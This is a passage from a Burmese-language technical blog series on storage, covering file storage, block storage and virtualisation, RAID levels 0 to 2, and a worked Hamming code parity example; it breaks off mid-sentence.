ဟုတ်ပြီ… storage တစ်ခုကို operating system တစ်ခုမှာစတင်အသုံးပြုနိုင်အောင်လို့ file system တွေနဲ့ format ရိုက်ပြီးတဲ့နောက်မှာ local storage နဲ့ DAS အတွက်တော့ data တွေကို စတင်သိမ်းဆည်းနိုင်ပါပြီ။ IDE၊ SATA၊ mSATA၊ NVMe၊ USB စသဖြင့် ကိုယ်သုံးတဲ့ media ရဲ့ interface ပေါ်မှာမူတည်ပြီးတော့ Read/Write speed ကကွာခြားနိုင်ပါတယ်။ Scale-up လုပ်တာ များလာလေလေ performance ကျလေလေ ဖြစ်တာမို့ အများကြီး တိုးချဲ့ သိမ်းဆည်းဖို့အတွက် သိပ်မဖြစ်နိုင်ပါဘူး။ ဒါမှမဟုတ်ဘူး… scale-out လုပ်မယ်ဆိုရင်တော့ NAS လိုမျိုး သီးသန့် storage ကို scale-out လုပ်လို့ရနိင်ပါတယ်။ ရှိပြီးသား Ethernet network ကိုအသုံးချတဲ့အတွက် data transfer အတွက်တော့ Quality of Service (QoS) ကို သေချာသတ်မှတ်ပေးဖို့လိုပါလိမ့်မယ်။ ဒီလိုမှမဟုတ် flat files တွေကို network ပေါ်မှာ တစ်စုံတစ်ယောက်က transfer လုပ်လိုက်တာနဲ့ network တစ်ခုလုံး saturated ဖြစ်သွားနိုင်ပါတယ်။ NAS အတွက် network ပေါ်မှာ အသုံးပြုတဲ့ protocol တွေကတော့ NFS၊ CIFS၊ SMBတို့အပြင် အခြားသော protocol တွေလည်းရှိပါသေးတယ်။

File storage မှတ်သားစရာတစ်ခုကတော့ file system ကိုသုံးတယ်၊ အဲ့ဒီ file system ကပဲ file တွေ folder တွေကို hard disk drive တွေ solid state drive တွေပေါ်မှာ ဘယ်လိုသိမ်းဆည်း သိုလှောင်သလဲဆိုတာကို သတ်မှတ်ပေးပြီးတော့၊ limited metadata လို့ခေါ်တဲ့ ထိုထိုသော file တွေ folder တွေရဲ့ အကြောင်းကို file descriptor၊ global file table နဲ့ inode table တွေကို အသုံးပြုပြီးတော့ သိမ်းဆည်းရာ file တွေအကြောင်းကို fixed/standardised metadata အနေနဲ့ သိမ်းပါတယ်။ ဥပမာ ပြောရရင် file descriptor ဟာ global file table နဲ့ inode table ကိုကြည့်ပြီးတော့ file တွေ folder တွေရဲ့ သက်ဆိုင်ရာ file permission တွေနဲ့ အဲ့ဒီ file တွေကို ဘယ်လိုမျိုး access လုပ်နိုင်သလဲဆိုတာကို ညွှန်ပြပေးခြင်း အပြင် standard input (stdin)၊ standard output (stdout) နဲ့ standard error (stderr) တွေကိုလည်း kernel အဆင့်မှာ ပဲ့ကိုင်ပေးပါတယ်။ တစ်ခုရှိတာက Linux kernel မှာ အရာအားလုံးဟာ file တွေနဲ့ တည်ဆောက်ထားတာဖြစ်တဲ့ အတွက် file descriptor ဟာ ဘယ်လောက်တောင် အရေးပါသလဲဆိုတာ သိနိုင်တယ်။ ထားပါတော့… ဒါက file လို့ ပြောလိုက်တာနဲ့ မီးခိုးလျှောက်လိုက်ရင်နဲ့ file descriptor စီရောက်သွားတာပါ။ ဆိုလိုရင်ကတော့ file storage လို့ဆိုလိုက်ရင် ဒီ အချက်လေးတွေကို စိတ်ထဲမှာ မြင်ယောင် စေချင်တာပါ။ File storage ရဲ့ အားနည်းချက်ကတော့ performance နဲ့ ရေရှည်အတွက် Return On Investment (ROI) ratio ပါ။ performance အားဖြင့်ကော cost အားဖြင့်ကောကြည့်မယ်ဆိုရင် block storage လောက် performance ကောင်းကောင်းမရနိုင်သလို၊ ကုန်ကျစရိတ်မှာလည်း block storage လောက်မများပါဘူး။ သို့သော် object storage နဲ့ ယှဉ်လိုက်ပြန်ရင်တော့ file storage ဟာ performance အားဖြင့်ပိုသာပြီးတော့၊ large enterprise setup တွေမှာ စျေးလည်း နည်းနည်းပိုများမယ်လို့ထင်ပါတယ်။ setup လုပ်ရတာတော့ file storage ဟာ အထက်မှာပြောသလို ရှိပြီးသား local၊ DAS နဲ့ NAS တွေကို ရှိရင်း network ပေါ်မှာ အလွယ် share လိုက်ခြင်းအားဖြင့် အဆင်သင့် အသုံးပြုနိုင်ပါတယ်။ ဒါ့အပြင် file locking လို feature တွေပါတဲ့အတွက်လည်း multi-user တွေအတွက် file sharing လိုမျိုး use case တွေအများကြီးမှာထည့်သွင်း အသုံးပြုနိုင်တယ်။ ကိုယ်သုံးတဲ့ ပေါ်မှာမူတည်ပြီးတော့ သင့်တော်ရင် သင့်တော်သလို file storage format ကို cloud နဲ့ on-premise တွေမှာအသုံးပြုနိုင်ပါတယ်။

ဒီအပိုင်းမှာတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပြီးတော့ နောက်တပိုင်းမှပဲ block storage နဲ့ object storage အကြောင်းကို ဆက်ပါတော့မယ်။ Storage format တွေအကြောင်းကို အနည်းငယ် ရိပ်ဖမ်းသံဖမ်း ရမယ်လို့ မျှော်လင့်ရင်း နဲ့ ဒီ post ကို အခုပဲအဆုံးသတ်လိုက်ပါ့မယ်။


# Storage အကြောင်းတစေ့တစောင်း – အပိုင်း(၄)

Storage အကြောင်းကိုစပြီးတော့ ရေးမယ်လုပ်ကတည်း အကြောင်းအရာတွေက ကျယ်ပြန့်လွန်းတယ်ဆိုတာ တွေးမိပါသေးတယ်။ ပြီးတော့ storage ဆိုတာကလည်း အကြောင်းအရာတစ်ခုတည်း ကိုပဲပြောလို့ ရှင်းလို့ မရပါဘူး။ တစ်ခုကိုရှင်းရင်းနဲ့ ခေါင်းထဲမှာစဉ်းစားမိတာနောက်တစ်ခုကို ထပ်တိုးပြီးတော့ ဖြည့်ရေးဖြည့်ပြောရင်းနဲ့ post တစ်ခုတစ်ခုဟာ ဖတ်ဖို့ပျင်းလောက်အောင်ကို ရှည်သွားမှာကိုလည်း သတိထားနေရတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် စာရေးသူအတွက်တော့ ဗဟုသုတရနိုင်အတွက် အချိန်ပေးပြီးတော့ ဖြေးဖြေးချင်းစီပဲ ရေးသွားပါ့မယ်။ ဒီ post မှာတော့ အရှေ့မှာ ပြောလက်စ storage format တွေအကြောင်းကို ဆက်ပြီးတော့ ဆွေးနွေးကြည့်ရအောင်။

### Block Storage

Block နဲ့ ပတ်သတ်ပြီးတော့ အပိုင်း(၁)မှာပြောခဲ့ပါတယ်။ အဲ့ဒီတုန်းက block size နဲ့ sector ဆိုတာဘာလဲ လို့ရှင်းရင်းနဲ့ ပြောဖြစ်တဲ့ အကြောင်းပါ။ ဒီမှာတော့ block storage လို့ဆိုတဲ့ နေရာမှာ block level storage လို့ ခေါ်ရင်ပိုပြီးတော့ ပြည့်စုံမယ်လို့ထင်ပါတယ်။ အရှေ့မှာပြောတဲ့ file storage ဆိုတာကိုလည်း အချို့က file level storage လို့ခေါ်ကြပါတယ်။ file တွေကို file system တွေ အသုံးပြုပြီးတော့ dataတွေကို သိမ်းလို့ file storage လို့ ခေါ်ပြီးတော့၊ block storage ဆိုတာကလည်း data တွေကို raw volume တစ်ခုအနေနဲ့ သိမ်းလို့ block level storage လို့ခေါ်ခြင်းဖြစ်ပါတယ်။ Block storage ကြောင့် virtualisation မှာ အများကြီးအပြောင်းအလဲတွေဖြစ်လာပါတယ်။ တစ်ချိန်တည်းမှာလည်း VMware ရဲ့ VMFS ရဲ့ အစွမ်းကြောင့် LUN ဆိုတဲ့ concept ကိုလည်း virtualisation industry ထဲမှာ storage အတွက် တွင်တွင်ကျယ်ကျယ် အသုံးပြုလာကြပါတယ်။ Enterprise နဲ့ consumer တွေအတွက် virtualisation market မှာတော့ VMware ဟာ အပြောင်းအလဲအများကြီး လုပ်ပေးနိုင်ခဲ့ပါတယ်။ လက်ရှိအချိန်ထိတော့ virtualisation လို့ဆိုတာနဲ့ VMware ဟာ industry standard တစ်ခုလို ဖြစ်လို့နေပါတယ်။ Linux မှာလည်း KVM လိုမျိုး ကောင်းလှတဲ့ virtualisation platform တွေရှိပေမယ့်လည်း စာရေးသူအတွေ့အကြုံအရတော့ VMware တွေကိုပဲ enterprise မှာအသုံးများနေသေးတာတွေ့ရပါတယ်။ Private နဲ့ public cloud platform အချို့မှာတော့ Xen Server နဲ့ သူ့ရဲ့ သက်ဆိုင်ရာ component တွေကို အသုံးပြုတယ်လို့လည်း သိရပါတယ်။ ဆိုပါတော့… Amazon Web Service (AWS) ရဲ့ backend infrastructure တစ်ခုလုံးဟာ Xen Server ပေါ်မှာတည်ဆောက်ထားတာလို့ သိထားတယ်။ ဒီလိုဆိုရင်တော့ Citrix ရဲ့ Xen Server virtualisation ဟာလည်း ဘယ်လောက်တောင် enterprise offering မှာကောင်းသလဲဆိုတာကို စာဖတ်သူတို့ မှန်းဆလို့ရနိုင်ပါပြီ။ စာရေးသူကိုယ်တိုင်မှာတော့ အိမ်ကအသုံးပြုတဲ့ Home Lab အတွက်တော့ KVM ကိုသုံးထားတဲ့ Promox VE ကိုအသုံးပြုပါတယ်။

Block storage ဆိုပြီးတော့ ဘာကြောင့် virtualisation တွေအကြောင်းကို အရင်းဆုံးပြောရသလဲဆိုတော့ virtual machine (VM) တွေမှာ အသုံးပြုတဲ့ virtual disk တွေဟာ block storage တွေပါ။ file နဲ့ object storage နဲ့အဓိကမတူတဲ့ အချက်က overhead မရှိသလောက်ဖြစ်တဲ့အတွက် performance အတွက်ကောင်းပါတယ်။ ဘယ်လို metadata မျိုးကိုမှ store မလုပ်ပဲနဲ့ data တွေကို အရှိအတိုင်း သိမ်းဆည်းသိုလှောင်တာဖြစ်တဲ့အတွက် ရိုးရှင်းတဲ့ storage format တစ်ခုပါ။ ဒီနေရာမှာ Redundant Array of Inexpensive/Independent Disks (RAID) အကြောင်းကို အရင်းဆုံး ဆွေးနွေးပေးချင်ပါတယ်။ RAID ဆိုတဲ့ topic ကို storage အကြောင်းကို စပြောကတည်းက စတင်မိတ်ဆက်မလို့ပါပဲ။ သို့သော် အရှေ့အပိုင်းတွေမှာ လိုတာထက်ပိုပြီးတော့အခြားသော ရေးစရာအကြောင်းလေးတွေရှိနေလို့ တမျင်တကာချန်ထားခဲ့တဲ့ အကြောင်းတစ်ခုပါ။ RAID ဆိုတဲ့ အရာကတော့ ဘယ်လိုမျိုးသော storage ကိုအသုံးပြုနေနေ performance နဲ့ redundancy အတွက်အသုံးပြုလိုက အသုံးပြုနိုင်တဲ့ အရာပါ။ ဒီတော့… ဒီ post မှာ block storage အကြောင်းပြောရင်းနဲ့ ကြားထဲမှာတခါတည်း ထည့်ပြောသွားပါ့မယ်။ အဲ့… LUN ကတော့ block storage နဲ့ SAN အတွက်သာ လုံးလုံးလျှားလျှား ပတ်သတ်တဲ့ အကြောင်းအရာဖြစ်တဲ့ အတွက်ထည့်ကိုပြောရမယ့် topic ပါ။ ဒီတော့… အရင်ဆုံး RAID တွေအကြောင်း ခပ်သွက်သွက်လေးသွားလိုက်ရအောင်ဗျ။

#### Redundant Array of Inexpensive/Independent Disks (RAID)

RAID ကို setup လုပ်တဲ့နေရာမှာ hardware RAID controller ကိုအသုံးပြုနိုင်သလို၊ software RAID implementation ကိုလည်း အသုံးပြုနိုင်ပါတယ်။ ဥပမာ HPE ProLiant server ပဲဖြစ်ဖြစ်၊ Dell PowerEdge server ပဲဖြစ်ဖြစ်၊ HPE 3PAR storage ပဲဖြစ်ဖြစ်၊ EMC storage ပဲဖြစ်ဖြစ် setup လုပ်တဲ့အခါမှာ တစ်ခုချင်းစီမှာ proprietary ဖြစ်တဲ့ hardware RAID controller တွေအသုံးပြုပြီးတော့ ပုံစံမျိုးစုံနဲ့ implement လုပ်နိုင်သလိုပဲ၊ operating system တစ်ခုရဲ့ software ကိုအသုံးပြုပြီးတော့ RAID ကိုအသုံးပြုနိုင်တဲ့ Linux ရဲ့ Multiple Device (md) လိုမျိုး driver တွေလည်းရှိပါတယ်။ အဓိကအနေနဲ့တော့ RAID ကို physical hard disk အဆင့်မှာ performance၊ fault tolerance သို့မဟုတ် redundancy အတွက်အသုံးပြုတော့၊ volume အဆင့်ရောက်တဲ့အခါမှာတော့ Linux မှာ Logical Volume Manager (LVM) လိုမျိုး tool တွေကိုအသုံးပြုပြီးတော့ flexibility အတွက် အသုံးချကြပါတယ်။ LVM ကိုအသုံးပြုဖို့အတွက်တော့ compatible ဖြစ်တဲ့ Linux ရဲ့ file system တစ်ခုကိုအသုံးပြုရပါလိမ့်မယ်။ ဥပမာ Windows ရဲ့ NTFS နဲ့ format ရိုက်ထားတဲ့ volume တစ်ခုမှာ LVM ကိုအသုံးမပြုနိုင်ပါ။ အနည်းဆုံးတော့ ext4 သို့မဟုတ် xfs ကိုတော့အသုံးပြုမှသာလျှင် LVM ကိုအသုံးပြုနိုင်မှာဖြစ်ပါတယ်။

RAID မှာ ပထမဆုံး R ဆိုတာကတော့ အင်္ဂလိပ်လို redundant ဆိုတဲ့ဟာက ဒီနေရာမှာ ထပ်ဆောင်းအပိုဆိုတဲ့ အဓိပ္ပာယ်ပါ။ Array ဆိုတာက ရထားတွဲတွေလိုမျိုး အစီအရီလိုက် အတွဲလိုက်လေးဖြစ်နေတာကို ပြောချင်တာပါ။ Inexpensive/Independent ဆိုတဲ့ နေရာမှာတော့ ဟိုအရင်တုန်းက storage များလေလေ စျေးများများပေးရလေလေဖြစ်တဲ့အတွက် storage နည်းပြီး စျေးလည်းပေါတဲ့ hard disk ၃၊ ၄၊ ၅ လုံးလောက်ကို ပေါင်းပြီးတော့ RAID ကိုအသုံးပြုကာ JBOD ဖြစ်အောင်လုပ်တဲ့အတွက် inexpensive လို့ခေါ်ပြီးတော့၊ နောက်မှာတော့ independent ဆိုတာက RAID ထဲမှာထည့်ပြီးတော့ အသုံးပြုမယ့် hard disk တွေဟာ တစ်လုံးနဲ့ တစ်လုံးအမျိုးအစား storage capacity တူစရာမလိုတဲ့အတွက် လွတ်လပ်စွာအသုံးပြုနိုင်တာကြောင့် လို့ထင်ပါတယ်။ သို့သော်လည်း RAID တစ်ခုကိုတည်ဆောက်တဲ့ နေရာမှာတော့ vendor နဲ့ capacity နဲ့ အခြားသော specification တွေ အမြဲတူဖို့တော့ recommend လုပ်တာကိုတွေ့ပါလိမ့်မယ်။ နောက်တစ်ခုက JBOD ဆိုတဲ့အရှည်က မသိသေးရင်တော့ Just a Bunch Of Disks/Drives ပါ။ Hard disk drives တွေတစ်စုတစ်ဝေးတည်း RAID 0 နဲ့ လုပ်လိုက်ခြင်းအားဖြင့် operating system မှာ hard disk တစ်ခုပမာလာပြီးတော့ပြတဲ့အတွက် JBOD လို့ခေါ်ခြင်းဖြစ်ပါတယ်။ ဒီလိုဆိုရင်တော့ဖြင့် RAID ကိုဘာကြောင့် RAID လို့ခေါ်သလဲဆိုတာတော့ သိပြီ။ နောက်အဆင့်အနေနဲ့ RAID ကို configure လုပ်တဲ့အခါမှာ ဘယ်နည်းဘယ်ပုံနဲ့ configure လုပ်လို့ရသလဲဆိုတာလေးကို တစ်ခုချင်းစီသွားလိုက်ရအောင်။

**RAID 0** – ဒီတစ်ခုက အထက်မှာလည်း ပြောသွားတဲ့ JBOD ကိုပြောတာပါ။ RAID ဆိုတဲ့အတွက် အနည်းဆုံး hard disk ၂ လုံးနဲ့ အထက်ရှိရင် RAID 0 ကို အသုံးပြုနိုင်ပါတယ်။ JBOD အပြင် သုံးလို့ရတဲ့ ပုံစံကတော့ data တွေကို read/write လုပ်တဲ့အခါမှာ တစ်လုံးထဲကို ရေးမယ့် ဖတ်မယ့်အစား ၂လုံးနဲ့ အထက်သော hard disk တွေပေါ်မှာအရေးအဖတ်လုပ်တဲ့အတွက် performance တက်လာပါတယ်။ ဒါကို stripe လုပ်တယ်လို့ ခေါ်ပြီးတော့၊ သူ့ရဲ့ဘေးထွက်ဆိုးကျိုးကတော့ hard disk နှစ်လုံးကို RAID 0 နဲ့သုံးတဲ့အခါမှာ နှစ်လုံးထဲကတစ်လုံး ပျက်တာနဲ့ရှိသမျှ data တွေအားလုံးပျက်တယ်။ ဒီ့အတွက် RAID 0 ကိုအကြောင်းပြချက် ကောင်းကောင်းမရှိပဲနဲ့ မသုံးသင့်ပါဘူး။ အခုနောက်ပိုင်းမှာ hard disk တစ်လုံးရဲ့ capacity ဟာများလာပြီးတော့၊ စျေးလည်းအရင်တုန်းကလိုမျိုး per GB မှာအရမ်းကြီးမများတော့တဲ့အတွက် JBOD လိုမျိုးအသုံးပြုဖို့ရာ သိပ်မရှိတော့ပါဘူး။ နောက်ပြီးတော့ performance အတွက်လည်း SSD နဲ့ NVMe drives တွေရှိတဲ့အတွက် RAID 0 ဟာလက်ရှိအချိန်မှာတော့ production အတွက် လက်တွေ့အသုံးချနိုင်ဖို့ရာအကြောင်းမရှိပါ။ အောက်မှာတော့ RAID 0 မှာ stripe ဘယ်လိုလုပ်သလဲဆိုတာကို ပုံထဲမှာပြထားခြင်းဖြစ်တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-359f444444d257190f67f77e17b389be1c15c2d2%2FRAID-0-Stripe.png?alt=media" alt=""><figcaption></figcaption></figure>

**RAID 1** – ဒါကတော့ mirroring လုပ်တဲ့ RAID 1 ပါ။ ဒီတစ်ခုကတော့ ရှင်းပါတယ် အထက်မှာလိုပဲ hard disk ၂လုံးနဲ့ အထက်လိုပါလိမ့်မယ်။ ပထမ hard disk မှာ write လုပ်တိုင်း ဒုတိယတစ်လုံးမှာလည်း သွားပြီးတော့ write လုပ်တဲ့အတွက် တူညီသော data တွေကို မတူတဲ့ hard disk တွေမှာ write operation လုပ်တဲ့အတွက် နှစ်လုံးထဲက တစ်လုံးပျက်သွားရင်တောင်မှ နောက်တစ်လုံးမှာ data တွေရှိသေးတဲ့အတွက် ပျက်သွားတဲ့တစ်လုံးကို အသစ်ဝယ်ထည့်ပြီးတော့ RAID 1 ကိုပြန်လည်တည်ဆောက်လိုက်ရုံပါပဲ။ Read operation လုပ်တဲ့အခါမှာတော့ နှစ်လုံးထဲက I/O load အနည်းအများပေါ်မှာမူတည်ပြီးတော့ ဘယ်အလုံးမှာသွားပြီးတော့ဖတ်သလဲဆိုတာ ပုံသေမရှိပါဘူး။ hard disk မှာပါတဲ့ ROM ရဲ့ instruction နဲ့ buffer/cache ဘယ်လောက်နဲ့လာတယ်ဆိုတာပေါ်မှာမူတည်ပြီးတော့ RAID 1 ရဲ့ read/write operation ကို သင့်တော်သလိုလုပ်ပါတယ်။ Performance အပိုင်းမှာတော့ RAID 1 ဟာ vendor၊ I/O operation နဲ့ အခြားသော အချက်တွေမှာမူတည်တဲ့အတွက် standalone hard disk တစ်လုံးတည်းရဲ့ performance ထက်ကောင်းလာတာလည်းတွေ့နိုင်သလို၊ write အတွက် double handling လုပ်ပြီး read မှာ ဘယ် disk ကနေဖတ်မလဲဆိုတာရွေးချယ်ရတဲ့အတွက် overhead အချို့ရှိတဲ့အတွက် performance ညံ့သွားတာကိုလည်း တွေ့နိုင်ပါတယ်။ ကိုယ်ရဲ့ production မှာ redundancy ဟာပိုပြီးတော့ အရေးကြီးတယ်ဆိုရင်တော့ RAID 1 ကိုအသုံးပြုနိုင်ပါတယ်။ သတိထားရမယ့်အချက်က redundancy ဆိုတာ system backup / data backup နဲ့ ထပ်တူမညီဘူးဆိုတာပါ။ RAID 1 မှာလည်း disk နှစ်လုံးလုံး data corruption ဖြစ်နိုင်ချေရှိတဲ့အတွက် backup ကိုတော့ သီးသန့်ထားသင့်ပါတယ်။ ဥပမာ ransomware လိုမျိုး exploit မှာ RAID 1 ရှိရုံနဲ့ မလုံလောက်တော့ပါဘူး။ Backup ရှိမှ data restore လုပ်နိုင်မှာဖြစ်တဲ့အတွက် backup ဟာ ဘယ်လို production environment မျိုးအတွက် အရေးကြီးပါတယ်။ လွန်ခဲ့တဲ့ တစ်ပတ်နှစ်ပတ်လောက်မှာ Manjaro Linux ရဲ့ forum backend system ကို Manjaro team က update လုပ်ပြီးတဲ့အခါမှာ forum ရေးထားဖြေထားတင်ထားတဲ့ ဟာတွေအကုန်ပျက်ကုန်လို့ Manjaro team ဟာအခုဆိုရင် အကုန် အစကနေပြန်လုပ်ရတဲ့ အဆင့်ပါ။ Manjaro အနေနဲ့ backup တော့ရှိပုံရပြီးတော့ backup restore ကိုပုံမှန် test လုပ်ပုံမပါဘူး။ ဒီအတွက် အကုန်လုံးပျက်ကုန်ပါတော့တယ်။ မှတ်သားလေ့လာနိုင်စရာ Disaster Recovery (DR) နဲ့ Business Continuity (BC) သင်ခန်းစာတစ်ခုပါ။ အောက်မှာတော့ RAID 1 အလုပ်လုပ်ပုံကို ပုံနဲ့အတူ ပြထားပေးပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a741dd83cfd4ee63223d540fccb6b4973b58717b%2FRAID-1-Mirror.png?alt=media" alt=""><figcaption></figcaption></figure>

**RAID 2** – ဒီတစ်ခုမှာတော့ အနည်းဆုံး hard disk ၃လုံးလိုပြီးတော့ သူ့ကို data ကိုရေးတဲ့ဖတ်တဲ့အခါမှာ stripe လုပ်ရင် bit level မှာ stripe လုပ်တဲ့အတွက် အရမ်းကိုအသေးစိပ်လွန်းပြီး RAID ထဲမှာပါတဲ့ disks အကုန်လုံးဟာ အမြဲတမ်း synchronise ဖြစ်ဖို့လိုအပ်ပါတယ်။ ဒီ့အပြင် RAID ထဲမှာပါတဲ့ disk တစ်လုံးကပျက်ရင်ဖြစ်ဖြစ်၊ error တက်တာများလာရင်ဖြစ်ဖြစ် error correction အတွက် Hamming code ကိုအသုံးပြုပါတယ်။ Hamming code ကို ECC RAM တွေမှာလည်း error detection နဲ့ error correction အတွက်အသုံးပြုပါတယ်။ ဒီလို error detection နဲ့ correction လုပ်တဲ့အခါမှာ redundant bit သို့မဟုတ် parity bit ကိုအသုံးပြုပြီးတော့ message တစ်ခု ဘယ်နားမှာ bit flip ဖြစ်ပြီးတော့ error တက်နေသလဲဆိုတာကို two-bit အထိ detection လုပ်နိုင်ပြီးတော့၊ one-bit အထိ correction လုပ်ပေးနိုင်ပါတယ်။ ဘာကိုဆိုလိုသလဲဆိုတာကိုတော့ အောက်မှာ Hamming code ဆိုတဲ့ အပိုဒ်မှာ ဆက်ပြီးအသေးစိတ်ရှင်းလိုပါတယ်။ သိထားသင့်တဲ့ computer science ဆိုင်ရာ တွက်ချက်မူမျိုးဖြစ်တဲ့အတွက် နေရာတော်တော်များများမှာ အသုံးချနိုင်မှာလို့ ထင်လို့ပါ။ ဒီတော့… RAID 2 ဆိုတဲ့ဟာလေးကို အဆုံးသတ်ပြီးတော့ အပြီးသတ်လိုက်ရအောင်။ RAID 2 ဒီနောက်ပိုင်းမှာတော့ မသုံးကြတော့ပါဘူး။ အဓိက ပြဿနာက RAID 2 ကိုအသုံးပြုတဲ့အခါမှာ multiple read/write requests တွေကို တပြိုင်နက်တည်းမှာမလုပ်နိုင်တဲ့အတွက် performance အတွက်အများကြီး ပြဿနာရှိပါတယ်။ အစပိုင်းမှာ parity bit ကိုအသုံးပြုပြီးတော့ error detection နဲ့ correction အတွက်အသုံးချနိုင်အောင် စပြီးတော့ implement လုပ်ခဲ့ကြပုံရပါတယ်။ အောက်မှာတော့ RAID 2 ဘယ်လိုမျိုး bit level မှာ data တွေကို stripe လုပ်သလဲဆိုတာကိုပြထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-516cbb9ac14586555f01a6c24f557fca89c17610%2FRAID2.png?alt=media" alt=""><figcaption></figcaption></figure>

**Hamming code** – အထက်မှာ ပြောထားတဲ့အတိုင်း Hamming code အကြောင်းကို အပိုဒ်တစ်ခုမှာသီးသန့် ရေး မယ်လို့ ဆိုထားတဲအတိုင်း ဒီတစ်ခုမှာ သူ့အကြောင်းကို အကျဉ်းချုပ်ရှင်းပါ့မယ်။ လက်တွေ့မှာတော့ binary Hamming code ကိုအသုံးပြုပြီးတော့ parity bits တွေကိုဘယ်ထည့်ပုံ နဲ့ single bit error ကို correction လုပ်ပုံကိုတွက်ချက်ကြည့်ရအောင်ဗျာ။ Hamming code က binary မှာအလုပ်လုပ်တာဖြစ်တဲ့အတွက် binary bit data ကိုအသုံးပြုပြီးတော့ parity bits တွေကိုထည့်ဖို့ position ကိုဘယ်လိုရှာသလဲသွားကြည့်ရအောင်။

ဥပမာ အနေနဲ့ binary bit data 1001 1010 ကိုအခြေခံပြီးတော့ parity bit ရဲ့ နေရာကိုတွက်ကြည့်မယ်။ Hamming code မှာတော့တွက်ချက်ပုံ အသေးစိတ်ရှင်းထားပြီးတော့ ဒီမှာတော့ စာရေးသူအလွယ်သဘောနဲ့ parity bit position အတွက် powers of 2 လို့ပဲမှတ်လိုက်ရအောင်။ ဒီတော့ 0 နေရာမှာ 2 to the power 0 ဆိုတော့ 1၊ 1 နေရာမှာ 2 to the power 1 ဆိုတော့ 2၊ ဒီလိုနဲ့တွက်လိုက်ရင် 1, 2, 4, 8, 16 စသည်သဖြင့် parity bits တွေအတွက် position တွေကို ရပါလိမ့်မယ်။ data bits တွေကို parity bits တွေနဲ့ပေါင်းပြီးတော့ အောက်ကအတိုင်းထည့်ကြည့်လိုက်ရအောင်။

p ဆိုတာ parity bit ဖြစ်ပြီးတော့ d ဆိုတာက data bit ပါ။ အနောက်က နံပါတ်ကတော့ position တည်နေရာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2f1563179ba6b9675b5537b37119c37b375f7e76%2FHamming-Code.png?alt=media" alt=""><figcaption></figcaption></figure>

အထက်မှာတွေ့နိုင်တဲ့အတိုင်း parity bits အတွက် position နေရာကို 1, 2, 4, 8 ဆိုပြီးတော့နေရာချလိုက်ပါတယ်။ Data bits တွေကိုလည်း ကျန်တဲ့နေရာမှာလိုက်ဖြည့်လိုက်ခြင်းဖြင့် ပထမအဆင့်ပြီးပါတယ်။ နောက်တဆင့်အနေနဲ့တော့ ထည့်ရမည့် parity bits တွေရဲ့ တန်ဖိုးကို ဘယ်လိုတွက်သလဲဆိုတာဆက်ကြည့်လိုက်ရအောင်။ တွက်တဲ့ပုံက… ဆိုကြပါတော့ p1 အတွက် ဘယ်လိုတွက်သလဲဆိုရင်… position 1 မှာရှိတဲ့ bit ကိုရွေးမယ်၊ 2 မှာရှိတဲ့ bit ကိုကျော်သွားလိုက်မယ်၊ ပြီးတော့ နောက်တခါ 3 မှာရှိတဲ့ bit ကိုရွေးမယ်၊ 4 မှာရှိတဲ့ bit ကိုကျော်လိုက်မယ်။ ဒီနည်းနဲ့ပဲ အောက်မှာပြထားတဲ့ အတိုင်း bit sequence တစ်ခုရလာပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9dd94b2a6ad1bf53e8ccd3a80537b170ededab9c%2FHamming-Code-1-1-768x290.png?alt=media" alt=""><figcaption></figcaption></figure>

အထက်မှာမြင်ရတဲ့အတိုင်းပဲ ပထမဆုံး parity bit မှာထည့်ဖို့ binary နံပါတ်ကို even parity method ကိုအသုံးပြုပြီးတော့ ရှာပြထားတာ ဖြစ်ပါတယ်။ Even parity ဆိုတာကတော့ one-byte ရှိတဲ့ data stream တစ်ခုမှာ 1 ဖြစ်နေတဲ့ bits အရေအတွက် စုစုပေါင်းဟာ စုံကိန်း (even number) ဖြစ်နေလို့ရှိရင်၊ parity bit ကို 0 ထားရပြီးတော့၊ မကိန်း (odd number) ဖြစ်နေရင်တော့ 1 ဆိုပြီးတော့ထားရပါတယ်။ ဆိုလိုချင်တာက 1 ဖြစ်နေတဲ့ bit အရေအတွက်ပေါင်းလိုက် စုံကိန်း (even number) အမြဲဖြစ်အောင်ထားတဲ့ အတွက် even parity လို့ခေါ်ဆိုခြင်းဖြစ်ပါတယ်။ သူနဲ့ပြောင်းပြန်ကတော့ odd parity ပါ။ 1 ဖြစ်နေတဲ့ bit ပေါင်းလိုက်ရင် မကိန်းဖြစ်အောင်အမြဲထားတဲ့အတွက် odd parity လို့ခေါ်ဆိုခြင်းဖြစ်သည်။

Parity ဆိုတာကို data transmission / redundant data storage တွေမှာအမြဲသုံးတတ်ပြီး၊ par ဆိုတဲ့ အဓိပ္ပာယ်ဟာ equality / equivalence ဆိုတဲ့ တူညီခြင်းလို့ ဘာသာပြန်ရမှာပါ။ မူရင်းနဲ့ လက်ခံရရှိတဲ့ data နှစ်ခုဟာ တူသလား မတူဘူးလားကို စစ်ဖို့အသုံးပြုတဲ့အတွက် parity check လို့ခေါ်ပါတယ်။ Par ဆိုတာကို Golf ကစားနည်းမှာလည်း ကြားဘူးကြမှာပါ။ သုံးကြွင်းထဲနဲ့ ပြီးအောင်ကစားရ မယ့်ပွဲမှာ သုံးချက်တည်း ရိုက်ပြီးတော့ ကြွင်းဝင်အောင်ကစားနိုင်ရင် Par လို့ခေါ်ပါတယ်။ သတ်မှတ်ရိုက်ချက်အတွင်း ကစားနိုင်တယ်ပေါ့ဗျာ။ Parity အပြင်၊ သူ့လို့ပဲ error detection အတွက်အသုံးပြုတဲ့ နည်းတွေဖြစ်တဲ့ checksum တို့၊ networking stack မှာဆိုရင် cyclic redundancy check (CRC) တို့၊ frame check sequence (FCS) 